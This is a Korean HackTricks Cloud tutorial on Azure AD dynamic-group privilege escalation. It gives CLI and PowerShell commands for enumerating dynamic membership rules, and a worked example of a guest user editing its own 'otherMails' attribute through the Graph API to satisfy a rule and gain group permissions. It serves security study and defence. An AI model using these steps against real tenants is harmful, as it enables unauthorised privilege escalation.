Az - Dynamic Groups Privesc
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
기본 정보
동적 그룹은 규칙이 구성된 그룹이며, 규칙과 일치하는 모든 사용자 또는 디바이스가 그룹에 추가됩니다. 사용자나 디바이스의 속성이 변경될 때마다, 동적 규칙이 재확인됩니다. 그리고 새 규칙이 생성되면 모든 디바이스와 사용자가 확인됩니다.
동적 그룹에는 Azure RBAC roles assigned를 할당할 수 있지만, 동적 그룹에 AzureAD roles를 추가하는 것은 불가능합니다.
이 기능은 Azure AD premium P1 license가 필요합니다.
Privesc
기본적으로 모든 사용자는 Azure AD에서 게스트를 초대할 수 있으므로, 동적 그룹의 rule이 새 게스트에서 설정할 수 있는 attributes를 기준으로 사용자에게 permissions을 부여한다면, 이러한 속성을 가진 게스트를 생성하여 escalate privileges할 수 있습니다. 또한 게스트가 자신의 프로필을 관리하고 이러한 속성을 변경하는 것도 가능합니다.
동적 멤버십을 허용하는 그룹 조회: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
동적 그룹 열거
동적 그룹의 규칙 조회:
With Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
PowerShell 및 Microsoft Graph SDK를 사용하여:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
예제
- Rule example:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Rule description: 보조 이메일에 ‘security’ 문자열이 포함된 모든 Guest 사용자는 그룹에 추가됩니다
Guest 사용자 이메일의 초대를 수락하고 https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView에서 해당 사용자의 현재 설정을 확인하세요.
안타깝게도 이 페이지에서는 속성 값을 수정할 수 없으므로 API를 사용해야 합니다:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
참고자료
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

